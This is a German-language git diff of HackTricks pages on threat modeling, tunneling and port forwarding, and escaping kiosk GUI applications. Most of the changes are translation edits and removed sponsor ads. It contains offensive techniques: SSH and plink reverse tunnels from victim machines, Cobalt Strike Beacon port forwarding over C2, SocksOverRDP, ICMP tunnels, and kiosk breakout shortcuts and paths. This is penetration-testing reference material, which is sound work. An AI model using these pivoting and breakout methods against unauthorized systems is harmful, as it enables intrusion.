**Penetrationstests**: Das Penetration Testing Execution Standard (PTES) Framework erfordert die Bedrohungsmodellierung, um die **Schwachstellen des Systems zu verstehen**, bevor der Test durchgeführt wird. +1. **Softwareentwicklung**: Im Rahmen des Secure Software Development Life Cycle (SSDLC) hilft die Bedrohungsmodellierung dabei, **potenzielle Quellen von Schwachstellen** in den frühen Phasen der Entwicklung zu identifizieren. +2. **Penetration Testing**: Der Penetration Testing Execution Standard (PTES) erfordert **Bedrohungsmodellierung, um die Schwachstellen des Systems** vor der Durchführung des Tests zu verstehen. ### Bedrohungsmodell in Kürze -Ein Bedrohungsmodell wird typischerweise als Diagramm, Bild oder in einer anderen visuellen Darstellung dargestellt, die die geplante Architektur oder den vorhandenen Aufbau einer Anwendung zeigt. Es ähnelt einem **Datenflussdiagramm**, aber der entscheidende Unterschied liegt in seinem auf Sicherheit ausgerichteten Design. +Ein Bedrohungsmodell wird typischerweise als Diagramm, Bild oder in einer anderen Form der visuellen Darstellung dargestellt, die die geplante Architektur oder den bestehenden Aufbau einer Anwendung zeigt. Es ähnelt einem **Datenflussdiagramm**, aber der entscheidende Unterschied liegt im sicherheitsorientierten Design. -Bedrohungsmodelle enthalten oft Elemente, die in Rot markiert sind und potenzielle Schwachstellen, Risiken oder Barrieren symbolisieren. Um den Prozess der Risikoerkennung zu optimieren, wird das CIA (Vertraulichkeit, Integrität, Verfügbarkeit) Triad verwendet, das die Grundlage vieler Bedrohungsmodellierungsmethoden bildet, wobei STRIDE eine der häufigsten ist. Die gewählte Methodik kann jedoch je nach spezifischem Kontext und Anforderungen variieren. +Bedrohungsmodelle enthalten oft Elemente, die in Rot markiert sind und potenzielle Schwachstellen, Risiken oder Barrieren symbolisieren. Um den Prozess der Risikoidentifikation zu optimieren, wird das CIA (Vertraulichkeit, Integrität, Verfügbarkeit) Triad verwendet, das die Grundlage vieler Bedrohungsmodellierungsmethodologien bildet, wobei STRIDE eine der häufigsten ist. Die gewählte Methodologie kann jedoch je nach spezifischem Kontext und Anforderungen variieren. ### Das CIA-Triad -Das CIA-Triad ist ein weit verbreitetes Modell im Bereich der Informationssicherheit und steht für Vertraulichkeit, Integrität und Verfügbarkeit. Diese drei Säulen bilden die Grundlage, auf der viele Sicherheitsmaßnahmen und -richtlinien aufbauen, einschließlich Bedrohungsmodellierungsmethoden. +Das CIA-Triad ist ein weithin anerkanntes Modell im Bereich der Informationssicherheit, das für Vertraulichkeit, Integrität und Verfügbarkeit steht. Diese drei Säulen bilden die Grundlage, auf der viele Sicherheitsmaßnahmen und -richtlinien basieren, einschließlich der Bedrohungsmodellierungsmethodologien. -1. **Vertraulichkeit**: Sicherstellen, dass die Daten oder das System nicht von unbefugten Personen abgerufen werden. Dies ist ein zentraler Aspekt der Sicherheit, der angemessene Zugriffskontrollen, Verschlüsselung und andere Maßnahmen erfordert, um Datenverletzungen zu verhindern. -2. **Integrität**: Die Genauigkeit, Konsistenz und Vertrauenswürdigkeit der Daten über ihren Lebenszyklus hinweg. Dieses Prinzip stellt sicher, dass die Daten nicht von unbefugten Parteien verändert oder manipuliert werden. Es beinhaltet oft Prüfsummen, Hashing und andere Datenüberprüfungsmethoden. -3. **Verfügbarkeit**: Dies stellt sicher, dass Daten und Dienste für autorisierte Benutzer zugänglich sind, wenn sie benötigt werden. Dies beinhaltet oft Redundanz, Ausfallsicherheit und Konfigurationen mit hoher Verfügbarkeit, um Systeme auch bei Störungen am Laufen zu halten. +1. **Vertraulichkeit**: Sicherstellen, dass die Daten oder das System nicht von unbefugten Personen zugegriffen werden. Dies ist ein zentraler Aspekt der Sicherheit, der angemessene Zugriffskontrollen, Verschlüsselung und andere Maßnahmen erfordert, um Datenverletzungen zu verhindern. +2. **Integrität**: Die Genauigkeit, Konsistenz und Vertrauenswürdigkeit der Daten über ihren Lebenszyklus. Dieses Prinzip stellt sicher, dass die Daten nicht von unbefugten Parteien verändert oder manipuliert werden. Es umfasst oft Prüfziffern, Hashing und andere Datenverifizierungsmethoden. +3. **Verfügbarkeit**: Dies stellt sicher, dass Daten und Dienste für autorisierte Benutzer bei Bedarf zugänglich sind. Dies umfasst oft Redundanz, Fehlertoleranz und Hochverfügbarkeitskonfigurationen, um Systeme auch bei Störungen am Laufen zu halten. -### Bedrohungsmodellierungsmethoden +### Bedrohungsmodellierungsmethodologien -1. **STRIDE**: Entwickelt von Microsoft, steht STRIDE für **Spoofing, Tampering, Repudiation, Information Disclosure, Denial of Service und Elevation of Privilege**. Jede Kategorie repräsentiert eine Art von Bedrohung, und diese Methodik wird häufig in der Designphase eines Programms oder Systems verwendet, um potenzielle Bedrohungen zu identifizieren. -2. **DREAD**: Dies ist eine weitere Methodik von Microsoft, die für die Risikobewertung identifizierter Bedrohungen verwendet wird. DREAD steht für **Damage potential, Reproducibility, Exploitability, Affected users und Discoverability**. Jeder dieser Faktoren wird bewertet, und das Ergebnis wird zur Priorisierung identifizierter Bedrohungen verwendet. -3. **PASTA** (Process for Attack Simulation and Threat Analysis): Dies ist eine siebenstufige, **risikozentrierte** Methodik. Sie umfasst die Definition und Identifizierung von Sicherheitszielen, die Erstellung eines technischen Umfangs, die Anwendungsaufteilung, die Bedrohungsanalyse, die Schwachstellenanalyse und die Risiko-/Triage-Bewertung. -4. **Trike**: Dies ist eine risikobasierte Methodik, die sich auf die Verteidigung von Vermögenswerten konzentriert. Sie beginnt aus einer **Risikomanagement**-Perspektive und betrachtet Bedrohungen und Schwachstellen in diesem Kontext. -5. **VAST** (Visual, Agile und Simple Threat Modeling): Dieser Ansatz zielt darauf ab, zugänglicher zu sein und sich in agile Entwicklungsumgebungen zu integrieren. Er kombiniert Elemente aus anderen Methoden und konzentriert sich auf **visuelle Darstellungen von Bedrohungen**. -6. **OCTAVE** (Operationally Critical Threat, Asset und Vulnerability Evaluation): Entwickelt vom CERT Coordination Center, ist dieses Framework auf die **organisatorische Risikobewertung anstelle spezifischer Systeme oder Software** ausgerichtet. +1. **STRIDE**: Entwickelt von Microsoft, ist STRIDE ein Akronym für **Spoofing, Tampering, Repudiation, Information Disclosure, Denial of Service und Elevation of Privilege**. Jede Kategorie stellt eine Art von Bedrohung dar, und diese Methodologie wird häufig in der Entwurfsphase eines Programms oder Systems verwendet, um potenzielle Bedrohungen zu identifizieren. +2. **DREAD**: Dies ist eine weitere Methodologie von Microsoft, die zur Risikobewertung identifizierter Bedrohungen verwendet wird. DREAD steht für **Damage potential, Reproducibility, Exploitability, Affected users und Discoverability**. Jeder dieser Faktoren wird bewertet, und das Ergebnis wird verwendet, um identifizierte Bedrohungen zu priorisieren. +3. **PASTA** (Process for Attack Simulation and Threat Analysis): Dies ist eine siebenstufige, **risikozentrierte** Methodologie. Sie umfasst die Definition und Identifizierung von Sicherheitszielen, die Erstellung eines technischen Rahmens, die Anwendungszerlegung, die Bedrohungsanalyse, die Schwachstellenanalyse und die Risiko-/Triagebewertung. +4. **Trike**: Dies ist eine risikobasierte Methodologie, die sich auf den Schutz von Vermögenswerten konzentriert. Sie beginnt aus einer **Risikomanagement**-Perspektive und betrachtet Bedrohungen und Schwachstellen in diesem Kontext. +5. **VAST** (Visual, Agile, and Simple Threat modeling): Dieser Ansatz zielt darauf ab, zugänglicher zu sein und in agile Entwicklungsumgebungen integriert zu werden. Er kombiniert Elemente aus den anderen Methodologien und konzentriert sich auf **visuelle Darstellungen von Bedrohungen**. +6. **OCTAVE** (Operationally Critical Threat, Asset, and Vulnerability Evaluation): Entwickelt vom CERT Coordination Center, ist dieses Framework auf **organisatorische Risikobewertung und nicht auf spezifische Systeme oder Software** ausgerichtet. -## Tools +## Werkzeuge -Es gibt mehrere Tools und Softwarelösungen, die bei der Erstellung und Verwaltung von Bedrohungsmodellen **helfen** können. Hier sind einige, die Sie in Betracht ziehen könnten. +Es gibt mehrere Werkzeuge und Softwarelösungen, die bei der **Erstellung** und Verwaltung von Bedrohungsmodellen helfen können. Hier sind einige, die Sie in Betracht ziehen könnten. ### [SpiderSuite](https://github.com/3nock/SpiderSuite) -Ein fortschrittlicher plattformübergreifender und multifunktionaler GUI-Web-Spider/Crawler für Cybersicherheitsfachleute. Spider Suite kann für die Kartierung und Analyse der Angriffsfläche verwendet werden. +Ein fortschrittlicher plattformübergreifender und multifunktionaler GUI-Webspider/Crawler für Cybersicherheitsprofis. Spider Suite kann zur Kartierung und Analyse der Angriffsfläche verwendet werden. **Verwendung** -1. Wählen Sie eine URL und Crawlen Sie +1. Wählen Sie eine URL und crawlen
@@ -66,7 +52,7 @@ Ein fortschrittlicher plattformübergreifender und multifunktionaler GUI-Web-Spi ### [OWASP Threat Dragon](https://github.com/OWASP/threat-dragon/releases) -Ein Open-Source-Projekt von OWASP, Threat Dragon ist sowohl eine Web- als auch eine Desktop-Anwendung, die Systemdiagrammierung sowie eine Regel-Engine zur automatischen Generierung von Bedrohungen/Minderungsmaßnahmen umfasst. +Ein Open-Source-Projekt von OWASP, Threat Dragon ist sowohl eine Web- als auch eine Desktop-Anwendung, die Systemdiagrammierung sowie eine Regel-Engine zur automatischen Generierung von Bedrohungen/Minderungen umfasst. **Verwendung** @@ -88,17 +74,17 @@ Manchmal könnte es so aussehen: 4. Erstellen Sie Ihr Modell -Sie können Tools wie den SpiderSuite Crawler verwenden, um Inspiration zu erhalten, ein grundlegendes Modell würde ungefähr so aussehen +Sie können Werkzeuge wie SpiderSuite Crawler verwenden, um Inspiration zu erhalten, ein einfaches Modell könnte so aussehen
-Nur eine kurze Erklärung zu den Entitäten: +Nur eine kleine Erklärung zu den Entitäten: -* Prozess (Die Entität selbst wie z.B. Webserver oder Webfunktionalität) +* Prozess (Die Entität selbst, wie Webserver oder Webfunktionalität) * Akteur (Eine Person wie ein Website-Besucher, Benutzer oder Administrator) * Datenflusslinie (Indikator für Interaktion) -* Vertrauensgrenze (Unterschiedliche Netzwerksegmente oder Bereiche.) -* Speichern (Dinge, an denen Daten gespeichert sind, wie Datenbanken) +* Vertrauensgrenze (Verschiedene Netzwerksegmente oder -bereiche.) +* Speicher (Dinge, in denen Daten gespeichert sind, wie Datenbanken) 5. Eine Bedrohung erstellen (Schritt 1) @@ -110,27 +96,16 @@ Jetzt können Sie die Bedrohung erstellen
-Beachten Sie, dass zwischen Akteursbedrohungen und Prozessbedrohungen ein Unterschied besteht. Wenn Sie eine Bedrohung zu einem Akteur hinzufügen würden, könnten Sie nur "Spoofing" und "Repudiation" auswählen. In unserem Beispiel fügen wir jedoch eine Bedrohung zu einer Prozessentität hinzu, daher werden wir dies im Bedrohungserstellungsdialog sehen: +Beachten Sie, dass es einen Unterschied zwischen Akteur-Bedrohungen und Prozess-Bedrohungen gibt. Wenn Sie eine Bedrohung zu einem Akteur hinzufügen, können Sie nur "Spoofing" und "Repudiation" auswählen. In unserem Beispiel fügen wir jedoch eine Bedrohung zu einer Prozesseinheit hinzu, sodass wir dies im Bedrohungserstellungsfeld sehen werden:
6. Fertig -Jetzt sollte Ihr fertiges Modell ungefähr so aussehen. Und so erstellen Sie ein einfaches Bedrohungsmodell mit OWASP Threat Dragon. +Jetzt sollte Ihr fertiges Modell so aussehen. Und so erstellen Sie ein einfaches Bedrohungsmodell mit OWASP Threat Dragon.
+ ### [Microsoft Threat Modeling Tool](https://aka.ms/threatmodelingtool) -Dies ist ein kostenloses Tool von Microsoft, das hilft, Bedrohungen in der Designphase von Softwareprojekten zu finden. Es verwendet die STRIDE-Methodik und ist besonders geeignet für diejenigen, die auf Microsofts Stack entwickeln. - -### [WhiteIntel](https://whiteintel.io) - -
- -[**WhiteIntel**](https://whiteintel.io) ist eine von **Dark Web** angetriebene Suchmaschine, die kostenlose Funktionen bietet, um zu überprüfen, ob ein Unternehmen oder seine Kunden von **Stealer-Malware** **kompromittiert** wurden. - -Ihr Hauptziel von WhiteIntel ist es, Kontoübernahmen und Ransomware-Angriffe zu bekämpfen, die aus informationsstehlender Malware resultieren. - -Sie können ihre Website besuchen und ihr Tool **kostenlos** ausprobieren unter: - -{% embed url="https://whiteintel.io" %} +Dies ist ein kostenloses Tool von Microsoft, das hilft, Bedrohungen in der Entwurfsphase von Softwareprojekten zu finden. Es verwendet die STRIDE-Methodologie und ist besonders geeignet für diejenigen, die auf Microsofts Stack entwickeln. diff --git a/generic-methodologies-and-resources/tunneling-and-port-forwarding.md b/generic-methodologies-and-resources/tunneling-and-port-forwarding.md index b64815393..6fb37d5e7 100644 --- a/generic-methodologies-and-resources/tunneling-and-port-forwarding.md +++ b/generic-methodologies-and-resources/tunneling-and-port-forwarding.md @@ -10,19 +10,11 @@ Lerne & übe GCP Hacking: {% endhint %} -**Try Hard Security Group** - -
- -{% embed url="https://discord.gg/tryhardsecurity" %} - -*** - ## Nmap-Tipp {% hint style="warning" %} @@ -55,7 +47,7 @@ ssh -Y -C @ #-Y is less secure but faster than -X ``` ### Local Port2Port -Öffnen Sie neuen Port im SSH-Server --> Anderer Port +Öffnen Sie einen neuen Port im SSH-Server --> Anderer Port ```bash ssh -R 0.0.0.0:10521:127.0.0.1:1521 user@10.0.0.1 #Local port 1521 accessible in port 10521 from everywhere ``` @@ -175,9 +167,9 @@ rportfwd stop [bind port] ``` Zu beachten: -- Beacons Reverse-Port-Forward ist dafür ausgelegt, **Verkehr zum Team-Server zu tunneln, nicht um zwischen einzelnen Maschinen weiterzuleiten**. +- Beacons Reverse-Port-Forwarding ist dafür ausgelegt, **Verkehr zum Team-Server zu tunneln, nicht um zwischen einzelnen Maschinen weiterzuleiten**. - Der Verkehr wird **innerhalb des C2-Verkehrs von Beacon getunnelt**, einschließlich P2P-Links. -- **Admin-Rechte sind nicht erforderlich**, um Reverse-Port-Forwards auf hohen Ports zu erstellen. +- **Admin-Rechte sind nicht erforderlich**, um Reverse-Port-Forwarding auf hohen Ports zu erstellen. ### rPort2Port lokal @@ -199,7 +191,7 @@ python reGeorgSocksProxy.py -p 8080 -u http://upload.sensepost.net:8080/tunnel/t ## Chisel Sie können es von der Release-Seite von [https://github.com/jpillora/chisel](https://github.com/jpillora/chisel) herunterladen.\ -Sie müssen die **gleiche Version für Client und Server verwenden**. +Sie müssen die **gleiche Version für Client und Server** verwenden. ### socks ```bash @@ -304,7 +296,7 @@ attacker> ssh localhost -p 2222 -l www-data -i vulnerable #Connects to the ssh o Es ist wie eine Konsolen-PuTTY-Version (die Optionen sind sehr ähnlich zu einem ssh-Client). -Da dieses Binary auf dem Opfer ausgeführt wird und es ein ssh-Client ist, müssen wir unseren ssh-Dienst und Port öffnen, damit wir eine umgekehrte Verbindung haben können. Dann, um nur lokal zugänglichen Port auf einen Port in unserer Maschine weiterzuleiten: +Da dieses Binary auf dem Opfer ausgeführt wird und es sich um einen ssh-Client handelt, müssen wir unseren ssh-Dienst und -Port öffnen, damit wir eine umgekehrte Verbindung herstellen können. Dann, um nur lokal zugängliche Ports auf einen Port in unserer Maschine weiterzuleiten: ```bash echo y | plink.exe -l -pw [-p ] -R :: echo y | plink.exe -l root -pw password [-p 2222] -R 9090:127.0.0.1:9090 10.11.0.41 #Local port 9090 to out port 9090 @@ -328,7 +320,7 @@ netsh interface portproxy delete v4tov4 listenaddress=0.0.0.0 listenport=4444 Sie müssen **RDP-Zugriff über das System** haben.\ Herunterladen: -1. [SocksOverRDP x64 Binaries](https://github.com/nccgroup/SocksOverRDP/releases) - Dieses Tool verwendet `Dynamic Virtual Channels` (`DVC`) aus der Remote Desktop Service-Funktion von Windows. DVC ist verantwortlich für **das Tunneln von Paketen über die RDP-Verbindung**. +1. [SocksOverRDP x64 Binaries](https://github.com/nccgroup/SocksOverRDP/releases) - Dieses Tool verwendet `Dynamic Virtual Channels` (`DVC`) aus der Remote-Desktop-Service-Funktion von Windows. DVC ist verantwortlich für **das Tunneln von Paketen über die RDP-Verbindung**. 2. [Proxifier Portable Binary](https://www.proxifier.com/download/#win-tab) Laden Sie in Ihrem Client-Computer **`SocksOverRDP-Plugin.dll`** wie folgt: @@ -336,9 +328,9 @@ Laden Sie in Ihrem Client-Computer **`SocksOverRDP-Plugin.dll`** wie folgt: # Load SocksOverRDP.dll using regsvr32.exe C:\SocksOverRDP-x64> regsvr32.exe SocksOverRDP-Plugin.dll ``` -Jetzt können wir uns über **RDP** mit dem **Opfer** verbinden, indem wir **`mstsc.exe`** verwenden, und wir sollten eine **Aufforderung** erhalten, die besagt, dass das **SocksOverRDP-Plugin aktiviert ist**, und es wird auf **127.0.0.1:1080** **lauschen**. +Jetzt können wir uns über **RDP** mit dem **Opfer** verbinden, indem wir **`mstsc.exe`** verwenden, und wir sollten eine **Aufforderung** erhalten, die besagt, dass das **SocksOverRDP-Plugin aktiviert ist** und es auf **127.0.0.1:1080** **lauschen** wird. -**Verbinden** Sie sich über **RDP** und laden Sie die `SocksOverRDP-Server.exe`-Binärdatei auf dem Opfergerät hoch und führen Sie sie aus: +**Verbinden** Sie sich über **RDP** und laden Sie die `SocksOverRDP-Server.exe`-Binärdatei auf dem Opfercomputer hoch und führen Sie sie aus: ``` C:\SocksOverRDP-x64> SocksOverRDP-Server.exe ``` @@ -366,7 +358,7 @@ http-proxy 8080 ntlm [http://cntlm.sourceforge.net/](http://cntlm.sourceforge.net/) Es authentifiziert sich gegen einen Proxy und bindet einen Port lokal, der an den externen Dienst weitergeleitet wird, den Sie angeben. Dann können Sie das Tool Ihrer Wahl über diesen Port verwenden.\ -Zum Beispiel den weitergeleiteten Port 443 +Zum Beispiel, um Port 443 weiterzuleiten. ``` Username Alice Password P@ssw0rd @@ -437,7 +429,7 @@ Proxychains intercepts `gethostbyname` libc call und tunnelt TCP-DNS-Anfragen du [https://github.com/friedrich/hans](https://github.com/friedrich/hans)\ [https://github.com/albertzak/hanstunnel](https://github.com/albertzak/hanstunnel) -Root wird in beiden Systemen benötigt, um TUN-Adapter zu erstellen und Daten zwischen ihnen mithilfe von ICMP-Echo-Anfragen zu tunneln. +Root wird in beiden Systemen benötigt, um Tun-Adapter zu erstellen und Daten zwischen ihnen mithilfe von ICMP-Echo-Anfragen zu tunneln. ```bash ./hans -v -f -s 1.1.1.1 -p P@ssw0rd #Start listening (1.1.1.1 is IP of the new vpn connection) ./hans -f -c -p P@ssw0rd -v @@ -495,10 +487,10 @@ chmod a+x ./ngrok ``` #### Sniffing HTTP calls -*Nützlich für XSS, SSRF, SSTI ...* +*Nützlich für XSS, SSRF, SSTI ...* Direkt von stdout oder in der HTTP-Schnittstelle [http://127.0.0.1:4040](http://127.0.0.1:4000). -#### Tunneling internen HTTP-Dienst +#### Tunneling internal HTTP service ```bash ./ngrok http localhost:8080 --host-header=rewrite # Example of resulting link: https://abcd-1-2-3-4.ngrok.io/ @@ -527,25 +519,17 @@ addr: file:///tmp/httpbin/ * [https://github.com/securesocketfunneling/ssf](https://github.com/securesocketfunneling/ssf) * [https://github.com/z3APA3A/3proxy](https://github.com/z3APA3A/3proxy) -**Try Hard Security Group** - -
- -{% embed url="https://discord.gg/tryhardsecurity" %} - -*** - {% hint style="success" %} -Lerne & übe AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Lerne & übe GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Lernen & üben Sie AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Lernen & üben Sie GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Unterstütze HackTricks +Unterstützen Sie HackTricks -* Überprüfe die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)! -* **Tritt der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folge** uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **Teile Hacking-Tricks, indem du PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos einreichst. +* Überprüfen Sie die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)! +* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Teilen Sie Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos senden.
{% endhint %} diff --git a/hardware-physical-access/escaping-from-gui-applications.md b/hardware-physical-access/escaping-from-gui-applications.md index ceb6b4101..ca0283907 100644 --- a/hardware-physical-access/escaping-from-gui-applications.md +++ b/hardware-physical-access/escaping-from-gui-applications.md @@ -1,69 +1,59 @@ -# Entkommen aus KIOSKs +# Escaping from KIOSKs {% hint style="success" %} -Lernen & üben Sie AWS-Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Lernen & üben Sie GCP-Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Lerne & übe AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Lerne & übe GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Unterstützen Sie HackTricks +Support HackTricks -* Überprüfen Sie die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)! -* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) bei oder der [**Telegram-Gruppe**](https://t.me/peass) oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **Teilen Sie Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories einreichen. +* Überprüfe die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)! +* **Tritt der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folge** uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Teile Hacking-Tricks, indem du PRs zu den** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos einreichst.
{% endhint %} -#### [WhiteIntel](https://whiteintel.io) -
- -[**WhiteIntel**](https://whiteintel.io) ist eine von **Dark Web** angetriebene Suchmaschine, die **kostenlose** Funktionen bietet, um zu überprüfen, ob ein Unternehmen oder seine Kunden von **Stealer-Malware** **kompromittiert** wurden. - -Das Hauptziel von WhiteIntel ist es, Kontoübernahmen und Ransomware-Angriffe aufgrund von informationsstehlender Malware zu bekämpfen. - -Sie können ihre Website besuchen und ihren Motor **kostenlos** ausprobieren unter: - -{% embed url="https://whiteintel.io" %} --- -## Überprüfen Sie das physische Gerät +## Überprüfen des physischen Geräts | Komponente | Aktion | -| ------------- | -------------------------------------------------------------------- | -| Ein-/Aus-Taste | Durch das Ein- und Ausschalten des Geräts kann der Startbildschirm angezeigt werden | -| Netzkabel | Überprüfen Sie, ob das Gerät neu startet, wenn der Strom kurzzeitig unterbrochen wird | -| USB-Anschlüsse | Verbinden Sie eine physische Tastatur mit mehr Tastenkombinationen | -| Ethernet | Netzwerkscan oder Sniffing kann weitere Ausbeutung ermöglichen | +| -------------- | -------------------------------------------------------------------- | +| Netzschalter | Das Gerät aus- und wieder einschalten kann den Startbildschirm anzeigen | +| Netzkabel | Überprüfen, ob das Gerät neu startet, wenn die Stromversorgung kurz unterbrochen wird | +| USB-Ports | Physikalische Tastatur mit mehr Tastenkombinationen anschließen | +| Ethernet | Netzwerk-Scan oder Sniffing kann weitere Ausnutzung ermöglichen | -## Überprüfen Sie mögliche Aktionen innerhalb der GUI-Anwendung +## Überprüfen möglicher Aktionen innerhalb der GUI-Anwendung -**Gängige Dialogfelder** sind Optionen zum **Speichern einer Datei**, **Öffnen einer Datei**, Auswahl einer Schriftart, einer Farbe... Die meisten von ihnen werden eine vollständige Explorer-Funktionalität anbieten. Das bedeutet, dass Sie auf Explorer-Funktionalitäten zugreifen können, wenn Sie auf diese Optionen zugreifen können: +**Gemeinsame Dialoge** sind Optionen wie **Datei speichern**, **Datei öffnen**, Schriftart auswählen, Farbe... Die meisten von ihnen bieten **vollständige Explorer-Funktionalität**. Das bedeutet, dass du auf Explorer-Funktionalitäten zugreifen kannst, wenn du auf diese Optionen zugreifen kannst: -* Schließen/Schließen als +* Schließen/Als schließen * Öffnen/Öffnen mit * Drucken * Exportieren/Importieren * Suchen * Scannen -Sie sollten überprüfen, ob Sie: +Du solltest überprüfen, ob du: -* Dateien ändern oder neue erstellen können -* Symbolische Links erstellen können -* Zugriff auf eingeschränkte Bereiche erhalten können -* Andere Apps ausführen können +* Dateien ändern oder neue erstellen kannst +* Symbolische Links erstellen kannst +* Zugriff auf eingeschränkte Bereiche erhalten kannst +* Andere Apps ausführen kannst ### Befehlsausführung -Vielleicht können Sie **mit der Option `Öffnen mit`** eine Art Shell öffnen/ausführen. +Vielleicht kannst du **mit einer `Öffnen mit`** Option\*\* eine Art Shell öffnen/ausführen. #### Windows -Zum Beispiel _cmd.exe, command.com, Powershell/Powershell ISE, mmc.exe, at.exe, taskschd.msc..._ finden Sie weitere Binärdateien, die zur Ausführung von Befehlen (und zur Durchführung unerwarteter Aktionen) verwendet werden können, hier: [https://lolbas-project.github.io/](https://lolbas-project.github.io) +Zum Beispiel _cmd.exe, command.com, Powershell/Powershell ISE, mmc.exe, at.exe, taskschd.msc..._ finde mehr Binärdateien, die verwendet werden können, um Befehle auszuführen (und unerwartete Aktionen durchzuführen) hier: [https://lolbas-project.github.io/](https://lolbas-project.github.io) #### \*NIX \_\_ @@ -71,15 +61,15 @@ _bash, sh, zsh..._ Mehr hier: [https://gtfobins.github.io/](https://gtfobins.git ## Windows -### Umgehen von Pfadbeschränkungen +### Umgehung von Pfadbeschränkungen -* **Umgebungsvariablen**: Es gibt viele Umgebungsvariablen, die auf einen bestimmten Pfad verweisen +* **Umgebungsvariablen**: Es gibt viele Umgebungsvariablen, die auf einen bestimmten Pfad zeigen * **Andere Protokolle**: _about:, data:, ftp:, file:, mailto:, news:, res:, telnet:, view-source:_ * **Symbolische Links** -* **Verknüpfungen**: STRG+N (neue Sitzung öffnen), STRG+R (Befehle ausführen), STRG+UMSCHALT+ESC (Task-Manager), Windows+E (Explorer öffnen), STRG-B, STRG-I (Favoriten), STRG-H (Verlauf), STRG-L, STRG-O (Datei/Öffnen-Dialog), STRG-P (Druckdialog), STRG-S (Speichern unter) -* Verstecktes Administrationsmenü: STRG-ALT-F8, STRG-ESC-F9 +* **Verknüpfungen**: CTRL+N (neue Sitzung öffnen), CTRL+R (Befehle ausführen), CTRL+SHIFT+ESC (Task-Manager), Windows+E (Explorer öffnen), CTRL-B, CTRL-I (Favoriten), CTRL-H (Verlauf), CTRL-L, CTRL-O (Datei/Öffnen Dialog), CTRL-P (Drucken Dialog), CTRL-S (Speichern unter) +* Verstecktes Administrationsmenü: CTRL-ALT-F8, CTRL-ESC-F9 * **Shell-URIs**: _shell:Administrative Tools, shell:DocumentsLibrary, shell:Librariesshell:UserProfiles, shell:Personal, shell:SearchHomeFolder, shell:Systemshell:NetworkPlacesFolder, shell:SendTo, shell:UsersProfiles, shell:Common Administrative Tools, shell:MyComputerFolder, shell:InternetFolder_ -* **UNC-Pfade**: Pfade zum Verbinden mit freigegebenen Ordnern. Sie sollten versuchen, sich mit dem C$ des lokalen Computers zu verbinden ("\\\127.0.0.1\c$\Windows\System32") +* **UNC-Pfade**: Pfade, um sich mit freigegebenen Ordnern zu verbinden. Du solltest versuchen, dich mit dem C$ des lokalen Geräts zu verbinden ("\\\127.0.0.1\c$\Windows\System32") * **Weitere UNC-Pfade:** | UNC | UNC | UNC | @@ -93,47 +83,66 @@ _bash, sh, zsh..._ Mehr hier: [https://gtfobins.github.io/](https://gtfobins.git | %SYSTEMDRIVE% | %SYSTEMROOT% | %TEMP% | | %TMP% | %USERDOMAIN% | %USERNAME% | | %USERPROFILE% | %WINDIR% | | + +### Lade deine Binärdateien herunter + +Konsole: [https://sourceforge.net/projects/console/](https://sourceforge.net/projects/console/)\ +Explorer: [https://sourceforge.net/projects/explorerplus/files/Explorer%2B%2B/](https://sourceforge.net/projects/explorerplus/files/Explorer%2B%2B/)\ +Registrierungseditor: [https://sourceforge.net/projects/uberregedit/](https://sourceforge.net/projects/uberregedit/) + +### Zugriff auf das Dateisystem über den Browser + +| PFAD | PFAD | PFAD | PFAD | +| ------------------- | ----------------- | ------------------ | ------------------- | +| File:/C:/windows | File:/C:/windows/ | File:/C:/windows\\ | File:/C:\windows | +| File:/C:\windows\\ | File:/C:\windows/ | File://C:/windows | File://C:/windows/ | +| File://C:/windows\\ | File://C:\windows | File://C:\windows/ | File://C:\windows\\ | +| C:/windows | C:/windows/ | C:/windows\\ | C:\windows | +| C:\windows\\ | C:\windows/ | %WINDIR% | %TMP% | +| %TEMP% | %SYSTEMDRIVE% | %SYSTEMROOT% | %APPDATA% | +| %HOMEDRIVE% | %HOMESHARE | |


